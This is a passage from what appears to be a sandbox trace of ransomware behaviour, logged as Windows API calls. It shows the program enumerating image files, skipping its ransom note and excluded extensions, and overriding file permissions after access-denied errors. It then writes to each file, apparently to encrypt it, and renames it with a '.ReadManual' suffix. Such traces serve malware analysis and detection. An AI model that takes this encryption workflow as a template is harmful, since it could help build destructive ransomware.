lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0253.701] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0253.701] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x33b7) returned 0x2f0000 [0253.701] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0253.702] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37437034949) returned 1 [0253.702] CloseHandle (hObject=0x1a0) returned 1 [0253.702] SetSecurityInfo () returned 0x5 [0253.702] SetSecurityInfo () returned 0x5 [0253.702] LocalFree (hMem=0x674d38) returned 0x0 [0253.702] CloseHandle (hObject=0x184) returned 1 [0253.702] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724c6b5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724c6b5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6dc875, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1681, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pets_frame-highlight.png", cAlternateFileName="")) returned 1 [0253.702] lstrcpyW (in: lpString1=0x6ab906, lpString2="Pets_frame-highlight.png" | out: lpString1="Pets_frame-highlight.png") returned="Pets_frame-highlight.png" [0253.702] lstrcmpiW (lpString1="Pets_frame-highlight.png", lpString2="RecoveryManual.html") returned -1 [0253.702] StrStrIW (lpFirst="Pets_frame-highlight.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0253.702] StrCmpIW (psz1="png", psz2="exe") returned 1 [0253.702] StrCmpIW (psz1="png", psz2="dll") returned 1 [0253.702] StrCmpIW (psz1="png", psz2="sys") returned -1 [0253.702] StrCmpIW (psz1="png", psz2="msi") returned 1 [0253.702] StrCmpIW (psz1="png", psz2="mui") returned 1 [0253.702] StrCmpIW (psz1="png", psz2="inf") returned 1 [0253.702] StrCmpIW (psz1="png", psz2="cat") returned 1 [0253.702] StrCmpIW (psz1="png", psz2="bat") returned 1 [0253.702] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0253.702] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0253.702] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0253.702] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0253.702] StrCmpIW (psz1="png", psz2="fon") returned 1 [0253.702] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0253.702] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-highlight.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-highlight.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-highlight.png" [0253.703] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-highlight.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-highlight.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-highlight.png.ReadManual.5A595725" [0253.703] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-highlight.png.ReadManual.5A595725") returned 97 [0253.703] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37437135658) returned 1 [0253.703] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-highlight.png")) returned 0x20 [0253.703] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-highlight.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.703] GetLastError () returned 0x5 [0253.703] GetNamedSecurityInfoW () returned 0x0 [0253.703] SetNamedSecurityInfoW () returned 0x0 [0253.703] SetNamedSecurityInfoW () returned 0x0 [0253.704] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-highlight.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0253.704] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=5761) returned 1 [0253.704] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1681, lpName=0x0) returned 0x1a0 [0253.704] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd2) returned 1 [0253.705] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.705] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0253.706] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0253.706] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1681) returned 0x2f0000 [0253.707] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0253.707] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37437547098) returned 1 [0253.707] CloseHandle (hObject=0x1a0) returned 1 [0253.707] SetSecurityInfo () returned 0x5 [0253.707] SetSecurityInfo () returned 0x5 [0253.707] LocalFree (hMem=0x674d38) returned 0x0 [0253.707] CloseHandle (hObject=0x184) returned 1 [0253.709] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722fdb01, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x722fdb01, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6dc875, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1fe9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pets_frame-imageMask.png", cAlternateFileName="")) returned 1 [0253.709] lstrcpyW (in: lpString1=0x6ab906, lpString2="Pets_frame-imageMask.png" | out: lpString1="Pets_frame-imageMask.png") returned="Pets_frame-imageMask.png" [0253.709] lstrcmpiW (lpString1="Pets_frame-imageMask.png", lpString2="RecoveryManual.html") returned -1 [0253.709] StrStrIW (lpFirst="Pets_frame-imageMask.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0253.709] StrCmpIW (psz1="png", psz2="exe") returned 1 [0253.709] StrCmpIW (psz1="png", psz2="dll") returned 1 [0253.709] StrCmpIW (psz1="png", psz2="sys") returned -1 [0253.709] StrCmpIW (psz1="png", psz2="msi") returned 1 [0253.709] StrCmpIW (psz1="png", psz2="mui") returned 1 [0253.709] StrCmpIW (psz1="png", psz2="inf") returned 1 [0253.709] StrCmpIW (psz1="png", psz2="cat") returned 1 [0253.709] StrCmpIW (psz1="png", psz2="bat") returned 1 [0253.709] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0253.710] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0253.710] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0253.710] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0253.710] StrCmpIW (psz1="png", psz2="fon") returned 1 [0253.710] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0253.710] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-imageMask.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-imageMask.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-imageMask.png" [0253.710] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-imageMask.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-imageMask.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-imageMask.png.ReadManual.5A595725" [0253.710] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-imageMask.png.ReadManual.5A595725") returned 97 [0253.710] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37437854397) returned 1 [0253.710] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-imageMask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-imagemask.png")) returned 0x20 [0253.712] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-imageMask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-imagemask.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.712] GetLastError () returned 0x5 [0253.712] GetNamedSecurityInfoW () returned 0x0 [0253.712] SetNamedSecurityInfoW () returned 0x0 [0253.712] SetNamedSecurityInfoW () returned 0x0 [0253.713] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-imageMask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-imagemask.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0253.713] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=8169) returned 1 [0253.713] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1fe9, lpName=0x0) returned 0x1a0 [0253.713] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd2) returned 1 [0253.714] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.714] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0253.716] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0253.716] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1fe9) returned 0x2f0000 [0253.716] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0253.716] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37438483365) returned 1 [0253.716] CloseHandle (hObject=0x1a0) returned 1 [0253.716] SetSecurityInfo () returned 0x5 [0253.716] SetSecurityInfo () returned 0x5 [0253.716] LocalFree (hMem=0x674d38) returned 0x0 [0253.716] CloseHandle (hObject=0x184) returned 1 [0253.717] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722d79a4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x722d79a4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea22689, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x643e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pets_frame-shadow.png", cAlternateFileName="")) returned 1 [0253.717] lstrcpyW (in: lpString1=0x6ab906, lpString2="Pets_frame-shadow.png" | out: lpString1="Pets_frame-shadow.png") returned="Pets_frame-shadow.png" [0253.717] lstrcmpiW (lpString1="Pets_frame-shadow.png", lpString2="RecoveryManual.html") returned -1 [0253.717] StrStrIW (lpFirst="Pets_frame-shadow.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0253.717] StrCmpIW (psz1="png", psz2="exe") returned 1 [0253.717] StrCmpIW (psz1="png", psz2="dll") returned 1 [0253.717] StrCmpIW (psz1="png", psz2="sys") returned -1 [0253.717] StrCmpIW (psz1="png", psz2="msi") returned 1 [0253.717] StrCmpIW (psz1="png", psz2="mui") returned 1 [0253.717] StrCmpIW (psz1="png", psz2="inf") returned 1 [0253.717] StrCmpIW (psz1="png", psz2="cat") returned 1 [0253.717] StrCmpIW (psz1="png", psz2="bat") returned 1 [0253.717] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0253.717] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0253.718] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0253.718] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0253.718] StrCmpIW (psz1="png", psz2="fon") returned 1 [0253.718] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0253.718] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-shadow.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-shadow.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-shadow.png" [0253.718] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-shadow.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-shadow.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-shadow.png.ReadManual.5A595725" [0253.718] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-shadow.png.ReadManual.5A595725") returned 94 [0253.718] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37438651798) returned 1 [0253.718] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-shadow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-shadow.png")) returned 0x20 [0253.718] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-shadow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-shadow.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.718] GetLastError () returned 0x5 [0253.718] GetNamedSecurityInfoW () returned 0x0 [0253.718] SetNamedSecurityInfoW () returned 0x0 [0253.719] SetNamedSecurityInfoW () returned 0x0 [0253.719] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-shadow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-shadow.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0253.719] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=25662) returned 1 [0253.720] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x643e, lpName=0x0) returned 0x1a0 [0253.720] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xcc) returned 1 [0253.720] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.720] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0253.722] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0253.722] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x643e) returned 0x2f0000 [0253.722] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0253.722] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37439097129) returned 1 [0253.722] CloseHandle (hObject=0x1a0) returned 1 [0253.722] SetSecurityInfo () returned 0x5 [0253.722] SetSecurityInfo () returned 0x5 [0253.722] LocalFree (hMem=0x674d38) returned 0x0 [0253.722] CloseHandle (hObject=0x184) returned 1 [0253.723] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724eccba, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724eccba, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pets_image-frame-backglow.png", cAlternateFileName="")) returned 1 [0253.723] lstrcpyW (in: lpString1=0x6ab906, lpString2="Pets_image-frame-backglow.png" | out: lpString1="Pets_image-frame-backglow.png") returned="Pets_image-frame-backglow.png" [0253.723] lstrcmpiW (lpString1="Pets_image-frame-backglow.png", lpString2="RecoveryManual.html") returned -1 [0253.723] StrStrIW (lpFirst="Pets_image-frame-backglow.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0253.723] StrCmpIW (psz1="png", psz2="exe") returned 1 [0253.723] StrCmpIW (psz1="png", psz2="dll") returned 1 [0253.723] StrCmpIW (psz1="png", psz2="sys") returned -1 [0253.723] StrCmpIW (psz1="png", psz2="msi") returned 1 [0253.723] StrCmpIW (psz1="png", psz2="mui") returned 1 [0253.723] StrCmpIW (psz1="png", psz2="inf") returned 1 [0253.723] StrCmpIW (psz1="png", psz2="cat") returned 1 [0253.723] StrCmpIW (psz1="png", psz2="bat") returned 1 [0253.723] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0253.723] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0253.723] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0253.723] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0253.723] StrCmpIW (psz1="png", psz2="fon") returned 1 [0253.723] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0253.723] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-backglow.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-backglow.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-backglow.png" [0253.723] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-backglow.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-backglow.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-backglow.png.ReadManual.5A595725" [0253.723] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-backglow.png.ReadManual.5A595725") returned 102 [0253.723] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37439193944) returned 1 [0253.723] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-backglow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-backglow.png")) returned 0x20 [0253.723] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-backglow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-backglow.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.724] GetLastError () returned 0x5 [0253.724] GetNamedSecurityInfoW () returned 0x0 [0253.724] SetNamedSecurityInfoW () returned 0x0 [0253.724] SetNamedSecurityInfoW () returned 0x0 [0253.725] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-backglow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-backglow.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0253.725] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=6166) returned 1 [0253.725] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1816, lpName=0x0) returned 0x1a0 [0253.725] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xdc) returned 1 [0253.726] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.726] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0253.727] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0253.727] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1816) returned 0x2f0000 [0253.727] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0253.728] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37439631625) returned 1 [0253.728] CloseHandle (hObject=0x1a0) returned 1 [0253.728] SetSecurityInfo () returned 0x5 [0253.728] SetSecurityInfo () returned 0x5 [0253.728] LocalFree (hMem=0x674d38) returned 0x0 [0253.728] CloseHandle (hObject=0x184) returned 1 [0253.729] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724eccba, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724eccba, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1f0a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pets_image-frame-border.png", cAlternateFileName="")) returned 1 [0253.729] lstrcpyW (in: lpString1=0x6ab906, lpString2="Pets_image-frame-border.png" | out: lpString1="Pets_image-frame-border.png") returned="Pets_image-frame-border.png" [0253.729] lstrcmpiW (lpString1="Pets_image-frame-border.png", lpString2="RecoveryManual.html") returned -1 [0253.729] StrStrIW (lpFirst="Pets_image-frame-border.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0253.729] StrCmpIW (psz1="png", psz2="exe") returned 1 [0253.729] StrCmpIW (psz1="png", psz2="dll") returned 1 [0253.729] StrCmpIW (psz1="png", psz2="sys") returned -1 [0253.729] StrCmpIW (psz1="png", psz2="msi") returned 1 [0253.729] StrCmpIW (psz1="png", psz2="mui") returned 1 [0253.729] StrCmpIW (psz1="png", psz2="inf") returned 1 [0253.729] StrCmpIW (psz1="png", psz2="cat") returned 1 [0253.729] StrCmpIW (psz1="png", psz2="bat") returned 1 [0253.729] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0253.729] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0253.729] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0253.729] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0253.729] StrCmpIW (psz1="png", psz2="fon") returned 1 [0253.729] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0253.729] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-border.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-border.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-border.png" [0253.729] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-border.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-border.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-border.png.ReadManual.5A595725" [0253.729] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD 